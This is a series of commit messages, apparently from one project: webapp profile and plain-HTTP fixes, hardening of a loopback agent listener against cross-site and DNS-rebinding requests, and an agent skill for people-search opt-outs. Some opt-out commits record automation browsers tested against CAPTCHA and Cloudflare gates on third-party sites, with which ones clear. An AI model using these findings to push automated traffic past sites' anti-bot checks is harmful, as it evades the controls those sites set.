named profile, a tab opened without `?profile=` saved its folder under
`default`, could not read it back, and showed it to the real default
profile. An unnamed profile is now the one the serving gateway runs as,
which is what its REST assumes.

The size ratchet is met by moving withoutEarlyClarifyProjection and
orderTilesByTree into siblings and keeping the tile's folder owner in
runtime-owner, so the comments trimmed to fit are back.

The new hook test drives the real browser bridge, the real rail switch
and the real session actions with only the gateway sockets faked.

(cherry picked from commit 6a55a7e66135c0020061bf5355dd769e928f7118)
The profile bridge and the rename/delete migrations read the stored startup
profile with two parsers. The bridge refused a name outside the profile-name
pattern or a connection id other than this tab's; the migration reader took
any trimmed string and any id. Rename or delete could then rewrite or drop a
value the bridge already treated as no startup profile, and the two would
drift as either changed. requireProfileRoute now lives beside the key in
browser-startup-profile.ts, and the bridge reads through
readBrowserStartupProfile, so both sides agree on what is stored.

A profile deleted before delete dropped its prefs left its folder and startup
profile under its name, and a new profile created with that name inherited
them. A create never lands on a live profile's name, so the create dialog now
drops those prefs once the create succeeds, as a rename onto that name already
does.

(cherry picked from commit b4800190dae6d449aed752d263c3f9b7d2fa0e67)
Bot Mode creates and duplicates profiles through its own profiles.create,
so the leftover-pref cleanup the profile dialog runs never happened there.
Creating `writer` in Bot Mode after an older delete left its folder behind
made the Bot Mode "+" tab start in the deleted profile's folder.

The SDK gets host.dropLeftoverProfilePrefs, the same cleanup the create
dialog runs, and both Bot Mode paths call it after the create succeeds.
A profile created on another connection keeps this tab's prefs for that
name. It does nothing outside the browser-hosted app.
sdk/index.ts is over its line target and may only shrink. The previous
commit added dropLeftoverProfilePrefs there; it and warmProfile, the other
window-local profile verb, move unchanged into a sibling module.
A tab opened without ?profile= named no profile, so the older build saved
the folder of a gateway served as another profile under 'default'. The
first read on this build moves it to the served profile unless that profile
already has one, and marks the upgrade done so a later launch as another
profile never takes default's own folder.
importProfileBundle now runs the same success-only cleanup as the create
dialog, under the name the import returned. A failed import keeps them;
native Desktop is untouched.
The older build saved under 'default' both a no-?profile= tab's folder on a gateway served as another profile and an explicit ?profile=default tab's folder, so whose folder it is cannot be told. Moving it could take default's own folder away. The first read on this build now copies it to the served profile when that profile has none, and default keeps it. The marker is written only after the copy reads back, so a write that storage refuses keeps the old value and retries on the next read.
The folder key, the legacy-folder upgrade and the socket's profile check each wrote the launch-profile-else-default fallback by hand. They now share browserLaunchProfileOrDefault() in lib/platform.ts. No behavior change.
A profile absent from this gateway's served set stayed sharedPrimary, sharedRemote, and a route on the reachable source. Profiles the gateway serves stay reachable. A missing served set still leaves installed profiles reachable.

(cherry picked from commit ae4092d8de57914a1ab60dcc4c28dd22e88bef38)
The served-set check asked /api/status, a heavy machine-wide endpoint, on
every routed call: each getConnection and getConnectionFor for a named
profile, every profile activation, and each roster poll. That read used the
30 s request timeout while the store gives up on a route after 20 s, so a
slow status turned a served profile into a second socket. Installing the
bridge and routing a request also made a fetch they did not make before.

The set is now cached in browser-served-profiles.ts. Only the inventory
reads (getProfileRoutes, getAgentRoster) fetch it, and they share one
answer until the installed list changes, 30 s pass or the tab's socket
reconnects. The read gives up after 5 s and a failed read keeps the last
answer. Routing reads the cache and never waits on the network. Until a
gateway reports the set, every installed profile counts as served.

A dial to a profile the gateway does not serve used to mint a ticket and
then close with 4403, which the user saw as a nameless handshake failure.
getGatewayWsUrl now refuses it with the reason before minting.

The Bots pane annotates roster rows again before it seats the first
selection, and that reset an unserved row to its source's reachable flag.
The merge now carries `unserved` on the row and annotateBotSource keeps the
row unreachable while the source is up.

The download, media-stream, mint-failure and staged-attachment tests are
back to their main versions: with routing fetch-free they hold unchanged.

(cherry picked from commit 4401b580b5d1c83cc0b10d4f4e08f8036605ecdd)
The review of the served-set change found three gaps on a Webapp whose
gateway does not serve every installed profile.

Boot requests named `default`. The renderer's gateway route started on
`default` until boot adopted the profile its gateway runs as, and requests
that name the tab's profile (approval mode, model options, the pet, shared
metrics, onboarding's setup checks through the REST scope) went out in that
window. A gateway launched as another profile refused each one with
`profile_mismatch`. On a browser host the registry route, the
`$activeGatewayProfile` mirror and the REST scope now start on the serving
gateway's profile (`initialGatewayProfile`). Native Desktop still starts on
`default`.

A refused pick was redialed. The bridge refused the socket for an unserved
profile, but the store took the refusal for a transient failure and redialed
it on its backoff ladder. The bridge now throws `UnservedProfileError`, and
the store parks the dial on it in `openSecondary`, where every dial lands,
as it already parks a rejected credential. No redial runs, and the next
explicit pick asks again. `isMissingConnectionError` and
`isMissingProfileError` move to `store/gateway-dial-failures.ts` so that
`store/gateway.ts` does not grow past its line cap.

The profile menus marked nothing. The rail's dropdown and the statusbar
picker listed unserved profiles like any other, and a pick failed only after
the click. On a browser host they now read the bridge roster each time they
read the profile list. A profile marked `reachable: false` is shown greyed,
disabled and labelled "Not served here", as the Bots pane shows it. On a
gateway that does not serve `default`, the rail's home pill is the plain
all-profiles toggle. The menus keep this read out of `$fleetRoster`, whose
agents feed fleet-only consumers such as the unread-marker attribution.
Native rosters never carry the flag, and native Desktop makes no new read.

(cherry picked from commit 9faba6f726ea39d83add69c0bfec0ad3f4dbe89f)
9faba6f726 added the key to src/i18n/en.ts without regenerating locales/_keys.desktop.json (npm run i18n:keys), so the electron lane's catalog check failed.

(cherry picked from commit 98319bc7a01c53596858ea19270b5604ae37fd0a)
The pickers select a profile right after creating it, before any inventory
read has refreshed the served set, so the first dial to it was refused even
though the multiplexer already served it. getGatewayWsUrl now reads the
inventory once on a cache miss and refuses only if the profile is still
unserved. An unchanged installed list re-reads only /api/profiles.
refresh() handed every caller the read already in flight, so an inventory
read that found a newly created profile could settle on an older status
snapshot and mark that profile unserved. A caller now waits for the read in
flight, then re-checks its own list and any invalidation, and reads again if
that read was not for it. Callers with the same list still share one read.
A cache-miss inventory read in getGatewayWsUrl ran after selection had
already routed the profile on the stale set, so a newly created profile
opened a second socket instead of riding the tab's, and a stalled read
outran the store's 20 s URL budget, turning a known-unserved profile's
immediate refusal into a timeout and a redial. URL resolution reads the
cached set again and refuses at once; the selection path refreshes the
set before it routes.
A picker selects a profile right after creating it, before any inventory
read has added it to the tab's cached served set, so the descriptor and the
shared-primary route both saw it unserved. ensureGatewayProfile now asks the
browser bridge to re-read the inventory first when the cached set does not
serve the target: the new profile resolves sharedPrimary and rides the tab's
one socket. The read is bounded at 5 s and never rejects; on a timeout or
failure the cached set stands, so an unserved profile is still refused and
parked at once. Native Desktop has no such bridge member and is unchanged.
Both mounted profile pickers read the roster on every profile-list
refresh, and each roster read fetched /api/profiles, so one refresh cost
two extra list reads. Concurrent inventory reads now share the read in
flight; it is dropped once it settles, so a later caller reads again.

The pre-pick refresh (refreshServedProfile) still starts a read of its
own: one already in flight may have gone out before the profile it
looks for was created.
refreshServedProfile raced its read against a hand-rolled timer and a
second 5 s constant. It now uses the existing withTimeout helper with
the served set read's own SERVED_SET_READ_TIMEOUT_MS, so one constant
bounds both the /api/status read and the pick's refresh. No behavior
change: a stall or failed read still leaves the cached set standing.
openWebappTabProfile warns when the tab's profile has no route, which
happens both for a profile this gateway does not serve and for one it
no longer has (a stale link to a deleted profile). The warning said only
"does not serve"; it now names both cases. Console text only, not a
translated label.
The rail dropdown and the statusbar picker each carried the same greyed
ProfileGlyph block for an unserved row. It is now one ProfileRowGlyph in
unserved-profiles.tsx, next to the UnservedProfileNote both rows already
share. No visual or behavior change.
initialGatewayProfile() and the served set's own-profile entry each
wrote the launch-profile-else-default fallback by hand. They now use
browserLaunchProfileOrDefault() from lib/platform.ts, as the socket's
profile check already does. No behavior change: native Desktop still
starts on default, and the served set still holds the launch profile,
else default.
Opened over http://<LAN, VPN or Tailscale IP> (the Webapp's documented
wildcard-host setup), the page is not a secure context, so the browser
exposes no crypto.randomUUID. Pressing Send cleared the composer, then
minting the submission id threw before the restore handler was in
place: the words were gone and nothing was sent. New chats, titles,
attachments, queue drains, pop-out windows and group operations failed
the same way.

Export the existing session-mutation id helper from @hermes/shared as
randomUuid (crypto.randomUUID when present, else
crypto.getRandomValues), re-export it from the plugin SDK, and mint
every renderer and hermes-bots id through it. An ESLint rule keeps
crypto.randomUUID out of src/, so the guarded call sites move to the
helper too. The composer now also routes a synchronous throw while
preparing a send through the same restore path as a rejection.

To keep sdk/index.ts within its scripts/check line cap, the comment on
the SDK's Panel re-exports shrinks to one line.

Refs #141864, #93508

(cherry picked from commit b55377a3a6bdb8788489e2194072475e3e30247f)
Enabling Radio in a Webapp opened over plain HTTP from another machine
failed: createPlayer minted its window id with crypto.randomUUID, which
insecure contexts do not expose, so register() threw and the plugin
never loaded.

Mint the id with the plugin SDK's randomUuid, the one helper every
renderer id goes through (plugin.js is outside ESLint's reach, so the
lint rule cannot catch this site).

Refs #141864, #93508

(cherry picked from commit 36ae86889320f16aaee19d4ce0e0947047f0453a)
In the browser Webapp, right-clicking the composer, a message being
edited, a settings field or a file being renamed opened the app menu,
whose Cut, Copy and Paste closed the menu and did nothing, and which had
no spelling suggestions. The browser's own menu, where both work, never
appeared.

The app menu's edit verbs call window.hermesDesktop.contextMenuEdit and
its spelling rows come from main's spellcheck feed; only Electron's
preload provides them, and the browser branch cancels the native menu.

On the browser host, while contextMenuEdit is absent, a right-click on
an editable now only stops propagation, so pane and row menus stay
closed and the native menu opens. Where composer plugin rows apply, the
app menu still opens with those rows and Select all, without the edit
verbs it cannot run; each provider still runs once per right-click.
Chrome, links, images and selections outside editables keep the app
menu; Electron is unchanged.

Refs #141864, #93508

(cherry picked from commit cba7e5286b3327e46c379f1af75b9c72dced2f6d)
Over plain HTTP from another machine the browser exposes no Clipboard
API, so every Copy button showed "Copy failed": writeClipboardText had
no fallback on the browser host. Copy path and Copy link went through
the browser bridge's writeClipboard, which returned false; the SVG
copy and Kanban's copy items threw a TypeError; and the goal
criterion, onboarding code and install command copies failed silently
because they called navigator.clipboard directly.

When neither the Clipboard API nor Electron's IPC is there, copy with
a hidden textarea and execCommand('copy') inside the same click, then
restore the selection and focus. The textarea goes inside a focused
dialog or menu, which may be the root of its focus trap (Safari does
not focus a clicked button), else beside the focused control, so the
trap keeps it in scope. The bridge's writeClipboard and the direct
callers use it; Kanban reaches writeClipboardText through the plugin
SDK. Electron keeps its IPC-first order, and secure contexts take the
same path as before.

Refs #141864, #93508

(cherry picked from commit 46f28cdf5f8f6753d615198f9f92ce1b375e588d)
A Webapp tab that was already open crashed the next time it opened a
lazy view such as Settings once `npm run build:webapp`, `hermes webapp`
or `hermes update` had published a new renderer. Publication replaces
apps/desktop/dist-webapp, which the gateway reads per request, so the
old entry's hashed lazy chunks 404 and the rejected import reaches the
app's error boundary until the page is reloaded.

Before the receipt is written, the builder now copies into the new
generation the files the previous generation's Vite manifest names that
the new one lacks: only that generation's own files, so a rebuild keeps
exactly one generation back; only while its bytes still match its
receipt (freshness.mjs gains outputIntact, which ignores the marker a
failed `hermes update` leaves in the bundle: that still forces the
rebuild, but no longer costs open tabs their chunks); only regular
files inside it, never through a symlink and never over a new file. A
bad entry is skipped and never fails the build. The builder names the
manifest itself, so it exists whatever the Vite config says.

Refs #141864, #93508

(cherry picked from commit 096996d1a591917b21c96e104d20e9dc54c5d850)
In the Webapp an SVG or ICO image dropped or pasted on the composer
showed as an attached image chip whose path was a browser blob: URL,
and Send then failed to read it from the host.

The browser stages pasted and dropped images through
/api/chat/image-upload, which takes only the raster formats it can
sniff, so the bridge fell back to an octet-stream blob: URL for these
two. It now refuses them with a readable reason, which the composer
shows instead of attaching anything. HTML previews keep their sandboxed
blob: URL, TIFF and the 16 MiB check are unchanged, and the native app
is unaffected.

Refs #141864, #93508

(cherry picked from commit 2bbac1da3d09120579838eb2bf9349d2a92f0129)
In the Webapp, a generated image with a relative path that failed to
load offered an "Open image" link that opened
/api/files/download?path=...&token=<session token> in a new tab. The
token, which grants host shells, landed in browser history, and the
route then answered 400 because it takes absolute paths only. Native
Desktop on a token-authenticated remote gateway handed the same failing
URL, with its connection token, to the system browser.

mediaExternalUrl never appends the token in the browser-hosted Desktop,
and on both hosts the link now saves a relative gateway path through
downloadGatewayMediaFile, the save bridge absolute paths already took
(the ticketed /api/fs/download in the Webapp, the save dialog in native
Desktop). A relative path names a file in the chat's working directory,
so its save carries the producing session's id and profile, which the
route resolves it against; without them it would read the gateway's
own cwd. A failed `data:` image saves through the same download path
instead of opening, and mediaExternalUrl leaves `data:` and `blob:` URLs
unchanged, so no token is added to them on either host. Web URLs still
open externally; no server change.

Refs #141864, #93508

(cherry picked from commit fbb295921e4c4d7301fbb755e6dda6d7a61a0ada)
During a graceful restart's after-turn wait (restart_wait) a native client
may dial back in to answer a turn parked on approval or clarify (#139041).
A Webapp tab could not: its socket is cut when the wait opens, as a native
one is, but its reconnect then failed twice over. Minting the chat socket's
ticket answered 503 gateway_not_ready, and the browser's ticketed /api/ws
upgrade was closed 1013 before its gate ran. The restart then waited for a
prompt timeout or its deadline (up to 1,800 s by default).

The gateway listener now serves, while restart_wait is open, the
authenticated POST /api/webapp/socket-ticket?socket=gateway (no other
socket's ticket), and lets a Webapp tab's upgrade that carries the ticket
subprotocol reach the dashboard's own upgrade gate, which redeems that
ticket, marked admitted into the wait like a native ticket. That socket
keeps the drain's WebSocket verb allowlist and the ticket's
credential-generation and profile checks. A listener that is not the
Webapp's still closes such an upgrade 1013: its loopback gate takes the
legacy ?token= instead of the ticket. Once stop() withdraws restart_wait,
the mint answers 503 again and the socket's frames are cut.

(cherry picked from commit 50a8a616f630e1983f331676efe0c4983807486a)
keepPreviousGeneration skipped a copy that failed for an unexpected reason (a full disk, a permission error) without a word: the build recorded its receipt and published, and tabs still on the previous generation lost that chunk with nothing in the build log saying why.

The build still never fails here, but a failed copy, an unexpected directory error, or a failed cleanup of the partial copy now warns with the path and error code. The expected cases stay quiet: no previous build, a rejected manifest entry, a new file standing where the name or its directory would go (including EEXIST from COPYFILE_EXCL).
The copy-fault mock matched forward-slash suffixes, which a Windows
path built with join never ends with, so both injected failures were
bypassed there. Name each fault by the complete path the build copies
from, built with the same join.
The failed-image link's relative-path save refused when the chat had no stored id yet, where the chat's other file opens name the live runtime session. It names that session too now.
drain_control's note said every write keeps the drain's refusal, which the Webapp's socket-ticket mint no longer does, and the run_api check called that mint authenticated though the check itself authenticates nothing (the auth gate behind it does). The exemption moves beside restart_wait_read in drain_control, and the note and docstring say what each one does.
The dial-back check named the 'webapp' surface literally; it reads the policy's gateway_ticket field, which is on for the Webapp only, like every other surface-dependent decision.
(cherry picked from commit 237dd140e1cab13245c3b15d5b7e6785f1ade6cc)
Dropping noopener, so that a blocked pop-out can be detected, also lets
the browser copy the opener tab's sessionStorage into the new window and
send the opener's URL as a same-origin Referer. The opener's comment
still said it never relies on an opener or storage copy, and cited a
spec step number that is not the step returning null for a `_blank`
noopener open. It now says what is copied and why that is harmless: the
only credential in the copy is the launch-link token that the window
ticket hands over anyway, and the window still signs in with that ticket.

The test's window.open fake now behaves like a browser: a noopener or
noreferrer open returns null even when the window opens. A reintroduced
noopener therefore fails the success test, where before only an
exact-arguments assertion caught it.

(cherry picked from commit 0c59716b6477a7748c61cb709ce056a4c9179d94)
Opening Webapp pop-outs without noopener put each new window in the
opener's browsing context group. The windows are same-site, so they
shared one event loop: a long task in the tab stalled the pop-out's
timers (1,503 ms, against 18 ms with noopener, measured live in
review). The browser also copied the tab's sessionStorage into the
window and sent a Referer. On a launch-link tab, closing the handoff
channel when window.open returned null also stranded a window that the
user then opened from the browser's blocked-popup prompt: it stayed on
its handoff page until it expired.

Every pop-out opens with noopener,noreferrer again, so window.open
returns null whether or not the window opened. A blocked window is now
one that has not said ready within 3 s:

- Launch-link tab: the handoff page already says ready on its
  BroadcastChannel. Past the deadline the opener rejects with the
  existing popup message, so the toast appears, but it keeps the
  channel open until the 30 s handoff expiry. A late window, or one
  opened from the blocked-popup prompt, still gets its ticket and signs
  in. No ticket is minted for a window that never says ready.
- Gated host: the opener names a fresh channel in a ?hello= parameter.
  At boot, installBrowserDesktopBridge says ready on it and drops the
  parameter from the address. The message carries nothing and
  BroadcastChannel is same-origin, so a faked hello can at most spare
  the opener a toast. Native Electron returns before this code runs.
  The id comes from crypto.getRandomValues, not crypto.randomUUID,
  which a gated host served over plain HTTP does not have.

The 3 s deadline comes from measurement in Chrome 156, Edge 156 and
WebKit 26.5. A window that opened said ready within 0.4 s (the handoff
page) and about 1.3 s (the whole app on a gated host), even with the
browser held to one CPU. A window slower than 3 s gets an early toast
and then opens anyway; on a launch-link tab it still signs in.

Fixes #144673

Conflict resolution (salvage): this commit was cherry-picked onto the
plain-HTTP follow-ups, which already replaced crypto.randomUUID with
randomUuid() from @hermes/shared in createBrowserWindowOpener. The
launch-link handoff channel id in the new openLaunchLinkWindow uses
randomUuid() as well, so a launch-link tab served over plain HTTP still
opens a window; everything else is this commit's code as written.

(cherry picked from commit 271ccf9f07293d79f15e61e2334beb7d727919cd)
The handshake rework gave the launch-link path its own opener, and the
cherry-pick onto the plain-HTTP follow-ups kept randomUuid() for its
handoff channel id. No test covered that line: with
crypto.randomUUID() there, a launch-link tab served over plain HTTP
throws before window.open and no window opens.

The new case removes crypto.randomUUID, as a non-secure origin does,
and checks that the handoff page still gets its ticket and the opener
resolves. It fails with "crypto.randomUUID is not a function" when
the id comes from crypto.randomUUID().
A window that boots past the 3 s deadline (a slow machine, or a gated window landing on the login page or a 503) opened, but the 'Allow popups' toast stayed. The blocked rejection now names its toast, both pop-out paths keep listening until the handoff expires, and a late ready dismisses it; a launch-link window still signs in.
helloId was a second random-id helper beside randomUuid(), which already works without crypto.randomUUID on plain-HTTP origins; the boot hello now checks for its UUID form. The late-ready test sets its bridge without a leading-semicolon statement the linter flagged.
A gated window held on the server-rendered login page or a stale bundle's 503 never boots the app, so it never says ready and its toast stays; only a window that boots late takes the toast down. 73c37f87131b's message listed those two cases among the ones it fixes.
openai/gpt-6.1-terra is served by both OpenRouter's and the Nous Portal's
/v1/models (1.05M context). Adds it to the curated OpenRouter list (the
Nous list derives from it), a 1.05M offline context fallback, and
regenerates the published model-catalog manifest. No older Terra slug was
on either list, so nothing is removed.
Moves the Claude audit pyproject.toml and uv.lock out of plugins/kinocut so
Hermes resolves no Python dependencies for the portable plugin.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Without a token the A2A listener identifies callers by the loopback
socket alone, which a web page open in the operator's browser can also
reach. In that mode, refuse a POST that carries an Origin header, a
Sec-Fetch-Site other than none/same-origin, or a non-JSON Content-Type
(the body types a page can send without a CORS preflight). Token mode
is unchanged.

(cherry picked from commit cfb36d3c5f30fc205c5d0ef122e43dd482bcfc91)
Without a token the listener trusts whatever reaches 127.0.0.1. A page on a hostname
that re-resolves to 127.0.0.1 is same-origin to it and could read /health (the
served-agent list), the Agent Card and /metrics. parse_request now refuses such a
Host with 403 before any route runs; a malformed Host fails closed. Token mode is
unchanged.

Fixes #126203

(cherry picked from commit 7d71a6082e325eee0880ea82542cce7db2459517)
Keeps the loopback-name check consistent with the hermes proxy one: a
trailing dot names the same host, while a rebound name stays refused
with or without it.

(cherry picked from commit 5d1c94588affb445638426653e2230132c741ec6)
The no-token Host check accepted only localhost, 127.0.0.1 and ::1, so other loopback literals and a local reverse proxy forwarding the configured A2A_PUBLIC_URL host were refused. Accept any loopback literal and the A2A_PUBLIC_URL host, name both in the 403 message and docs, and document the Content-Type refusal.
Add tests that a token-authenticated listener still serves a foreign Host, that malformed Host values fail closed, and that a no-token POST without a Content-Type is refused. Give the no-token Host rule its own README bullet and document every 403 refusal message.
A number that keeps getting spam calls is almost always listed on people-search
sites, so the engine now accepts the number as the starting point, with the FTC
Do Not Call registry as a one-shot alongside the opt-outs.

- intake accepts phone/email-led subjects (one identifier minimum); a missing
  name/contact-email is warned, not refused (scans run; opt-outs need them)
- --focus-phone marks the number being scrubbed: added to search vectors and
  used as the `phone` disclosure field instead of phones[0]
- brokers with zero runnable search vectors group as `unsearchable` instead of
  wedging `unscanned` forever; `fanout` skips them
- `dnc` command + `dnc_register` action in `next` (mirrors `drop`): register
  US personal numbers on the National Do Not Call Registry (FTC-verified
  steps: 3 numbers per pass, 72h confirmation links, 31 days to take effect,
  never expires), surfaced once per subject until `--filed`
- docs: SKILL.md recipe + quick reference, methods.md reverse-phone notes,
  README; regenerated the website skill page; corrected the stale "85 tests"
  claim (repo-wide test purges left 30) -> 34 with the 4 new hermetic tests
From a live phone-lane run against the curated broker set (consented subject):

- add verified reverse-phone url_patterns for 8 brokers (fastpeoplesearch,
  usphonebook, spokeo, intelius, searchpeoplefree, peoplefinders,
  advancedbackgroundchecks, cyberbackgroundchecks); fastpeoplesearch's stale
  'LIKELY /{digits} UNCONFIRMED' quirk replaced with the confirmed shape
  (/{areacode}-{prefix}-{line} at the site root), and its June full-block note
  updated: the reverse-phone path renders via plain web_extract, only /removal
  is still assumed gated
- mark radaris, rehold, and peekyou defunct: their domains were transferred to
  Atlas Data Privacy Corp (NJ Daniel's Law cases; final judgment 2026-08-27 for
  Radaris + Rehold, settlement for PeekYou) - scan/opt-out moot, record not_found
- nuwber + clustrmaps: quirk that their domains resolve to a range the web_extract
  SSRF guard refuses; take those vectors to the browser rung (methods.md too)

All findings verified live 2026-10-26. 34/34 unbroker + 1471 authoring tests green.
The code-health ratchet failed on the previous push: next_actions reached CC 29
vs 28 on main (over the target of 20, so it may only go down). Extract the DROP
and DNC one-shot registrations into a _registry_one_shots helper, per the
ratchet's own remedy. next_actions is back under its main baseline and the
helper is well inside the target. Behavior unchanged: both one-shots surface
once per subject, gated by --filed (suite 34/34; scripts/check --only health
clean against origin/main).
The opt-out form now carries a reCAPTCHA v2 checkbox ('Please complete the
captcha to submit your opt out request') - verified live 2026-10-26, the record
previously said captcha-free. Set optout.requires.captcha=true (tier becomes T2
without a captcha-clearing browser) and recorded the fallback: if the checkbox
will not clear, use the privacy@spokeo.com deletion email naming the listing
URL(s).
Both domains are dead from public DNS (confirmed via 1.1.1.1, verified live
2026-10-26): nuwber.com no longer resolves (NXDOMAIN, NS records remain at
Cloudflare) and clustrmaps.com answers 127.0.0.1 - a deliberate kill-switch.
The earlier 'SSRF guard refuses this domain' quirks recorded for both were the
same DNS state misread as a tool block; replaced with DEFUNCT markers
(scan/opt-out moot, record not_found citing this), and the methods.md bullet
now teaches the real lesson: an SSRF-guard refusal can mean the broker is
dead, so check the domain against a public resolver before rerunning through
a browser - a dead domain is not_found, not blocked.

Five curated brokers are now defunct (radaris, rehold, peekyou, nuwber,
clustrmaps).
Verified live against the real opt-out flows (2026-10-26):

- usphonebook: /opt-out lands on /removal behind a reCAPTCHA ENTERPRISE
  checkbox (name + email, then an emailed link with a 24h TTL, ~3 days
  processing). Set optout.requires.captcha=true; the checkbox refuses
  synthetic automation clicks.
- searchpeoplefree: same-shaped entry gate but Cloudflare Turnstile, which
  AUTO-CLEARED on the residential automation browser (token observed), so it
  stays automated; recorded the full flow.
- peoplefinders: the Record Suppression Form hard-requires street + city +
  state (month is a numeric select) alongside name/email/phone/DOB, and a
  Turnstile is present. Their public people-search may hold no record for the
  subject at all - check first; a record-less subject cannot honestly
  complete the form (indirect exposure, lean on the SearchPeopleFree sister
  flow).
- cyberbackgroundchecks: /removal sits behind a Cloudflare interstitial that
  does not auto-clear for the automation browser (stuck >1 min) while their
  static phone pages fetch fine - manual step with the everyday browser.
- methods.md CAPTCHA policy: a visible reCAPTCHA v2/Enterprise checkbox is in
  the do-not-defeat class - synthetic CDP clicks do not toggle it (no token,
  no challenge, no error,getResponse stays empty), verified across two sites;
  managed Turnstile auto-clears on the same setup. Turnstile -> drive the
  form; reCAPTCHA checkbox -> email lane or manual queue.
Field lesson from the delete-phase run: every opt-out form, the DNC
one-shot, and send-email disclose whatever contact_email_for_optouts
carries, and the confirmation links land in that inbox. The env default
mailbox can be a work address, and filing a personal run to it is a
disclosure the operator never asked for. methods.md now says to confirm
the contact email once at intake; re-filing is the only remedy after
the fact.
Every finding from the review, addressed at both layers:

Blocking:
- A nameless subject can no longer produce or send a legal email that says
  'None'. _email_request appends the name-as-relative identifier only when a
  name exists (generic drafts get an explicit [your full name] placeholder);
  _require_email_identity gates render-email/send-email (legal kinds need the
  name, sends always do, contact email required); next routes the email lane
  and indirect_email_send to the digest via the shared _email_identity_ready
  predicate instead of queueing an autonomous send.
- dnc_register now surfaces only for phone-led runs (focus_phone), always
  with confirm_first: true (intake consent covers broker removal, not a new
  registry disclosure), and dnc --declined records dnc_declined_at so the
  action can be declined without recording a filing that never happened.
  registry.dnc_eligible is the one eligibility source (NANP-checked, deduped).

Should fix:
- Gate findings reach the agent: the live-verified ENTRY GATE quirks moved to
  position 0 in their records, spokeo's captcha quirk also lands in its
  playbook, and synthesize_steps keeps quirks[:4] and discloses any overflow.
- DEFUNCT is structured: one 'defunct': {since, evidence} field per dead
  broker plus a single prose line. plan/batch_plan/runnable_for/fanout
  exclude them, next skips their re-checks and polls, open cases get a
  one-time close-out digest entry, and the ledger allows not_found from the
  in-flight states for exactly this (dead-broker close-out, comment says so).
- --focus-phone counts as an identifier, dedupes on normalized digits, and
  the --json path applies it too.

Also: _mark_one_shot shared by drop/dnc, _indirect_case extracted, vcount
dead defaults dropped, captcha-gated opt-outs record human_task_queued
instead of blocked (breaks the re-scan/re-queue loop), docs counts fixed
(14 of the live records; three phone-specific notes; unsearchable in the
batch row), tests tightened (SystemExit asserts on the message, exact
skipped_unsearchable) and 8 new tests added covering the reviewer's probes.

42/42 unbroker tests; 1568 across the nine contract files; health ratchet
0 blocking 0 advisory; ruff clean. intelius + the defunct records rebuilt
on main formatting - broker diff is content-only.
The review-round commit widened ledger.TRANSITIONS so action_selected /
submitted / verification_pending / awaiting_processing / human_task_queued
can move to not_found, to let a dead broker's open case close. The widening
was broker-blind: a LIVE broker's submitted request could also be recorded
not_found, skipping verification and confirmed_removed, so the reappearance
re-check was never scheduled. The stale next_recheck_at also stayed on the
closed case and kept `next` waking for it.

- TRANSITIONS is back to its pre-round shape. The in-flight close-out lives
  in ledger.DEFUNCT_CLOSEOUT_FROM and is allowed only when the caller passes
  broker_defunct=True; cmd_record passes the broker record's `defunct` flag.
- Entering not_found drops next_recheck_at (not_found schedules no
  follow-up).
- The autopilot close-out digest derives its state set from the ledger and
  now also covers defunct cases left in blocked / indirect_exposure, which
  the plan views hide and nothing else would close.

Test: a live usphonebook submitted -> not_found is refused; a defunct
radaris one is accepted and leaves no recheck date. Red with the
production files at 59957ba6f8, and red with only the cmd_record wiring
removed.
dnc_register always carries confirm_first: true, because intake consent
covers broker removal, not a new registry signup. But the full-autonomy
instructions told the agent the opposite in three places: SKILL.md's
"Never pause before individual submissions" rule and its `next` loop step
("honor confirm_first in assisted mode"), and the `note` that `next`
returns in full mode ("do not pause"). The consent fix only held if the
agent ignored its own instructions.

All three (plus the matching methods.md line and the autopilot policy
docstring) now say: in full autonomy, do not pause, except on an action
with confirm_first=true, which waits for the operator in every mode.
Website skill page regenerated with website/scripts/generate-skill-docs.py.

Test: a phone-led full-autonomy subject gets dnc_register with
confirm_first=True and a `note` carrying the exception. Red with
autopilot.py at the previous commit.
Three small correctness fixes on the review-round commit:

- `pdd.py dnc` printed the literal text "dnc {args.subject} --declined":
  the second half of the split string had no f prefix, so an agent copying
  the step ran a command with a placeholder in it.
- A defunct broker parked as human_task_queued got two digest entries:
  the new close-out (record not_found) and step 7's "parked manual step",
  which sent the operator to a dead domain. Step 7 now skips defunct ids,
  as steps 2 and 3 already do.
- SKILL.md still said an unclearable captcha is recorded `blocked`; the
  optout_web_form note in autopilot.py says human_task_queued (a blocked
  case re-scans, re-finds the listing and re-queues the opt-out). SKILL.md
  now matches. Website page regenerated.

Tests: the dnc steps carry `dnc <sid> --declined`; a defunct parked case
yields exactly one digest entry. Both red with pdd.py/autopilot.py at the
previous commit.
Gate-round findings on the defunct close-out:

- `next --priority ...` passes a priority-filtered broker list, but the
  recheck, parked-task and close-out loops walk the whole ledger. defunct_ids
  came from the filtered list only, so a dead crucial broker (radaris) got
  verify_removal re-scans on a `--priority high` run and no close-out.
  defunct_ids now comes from the whole catalog (plus the passed list).
- A defunct case that cannot reach not_found (confirmed_removed) kept its
  120-day next_recheck_at, so next_wake_at pointed at a dead broker and the
  cron woke for nothing. _min_future_recheck now skips defunct ids.
- The defunct rule moves into ledger.can_transition(..., broker_defunct=)
  so the one legality check matches what transition() accepts, and
  autopilot derives _DEFUNCT_OPEN_STATES from it instead of re-listing
  states by hand.

Tests: a priority-filtered run with a dead radaris case emits no action
for it, sets no wake, and still closes it out; blocked/indirect_exposure
dead cases get the close-out; the defunct flag does not widen
confirmed_removed -> not_found or submitted -> found. Red with
ledger.py/autopilot.py at the previous commit; the blocked/indirect check
goes red when the open-state set drops them.
- SKILL.md's "Soft CAPTCHAs" gotcha and two places in methods.md still told
  the agent to record an unclearable opt-out captcha `blocked`, contradicting
  the optout_web_form note and SKILL.md step 5 (record human_task_queued: a
  blocked case re-scans, re-finds the listing and re-queues the opt-out).
  All three now say human_task_queued with the reason. Scan-phase `blocked`
  (an anti-bot search page) is unchanged.
- references/state-machine.md, the table agents read for legal moves, now
  states the defunct-broker exception (in-flight -> not_found, gated on the
  broker record) and qualifies "submitted -> not_found is ILLEGAL" as
  applying to live brokers.

Website skill page regenerated.
The captcha wording added in the previous commit (SKILL.md gotcha,
methods.md) said a human_task_queued case reaches the operator "once in
the digest", copying the optout_web_form note's "exactly once". next_actions
step 7 re-emits every human_task_queued case on each `next` until it moves,
so the true claim is: it parks as one standing digest task instead of
looping through re-scan and re-queue. All three now say that.

Also: the _DEFUNCT_OPEN_STATES comment names all three exclusions, and the
two new close-out assertions match the close-out entry itself ("broker is
defunct"), not just the broker id. Website page regenerated.
Twenty loops across 17 files hand-wrote the same thing:

    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
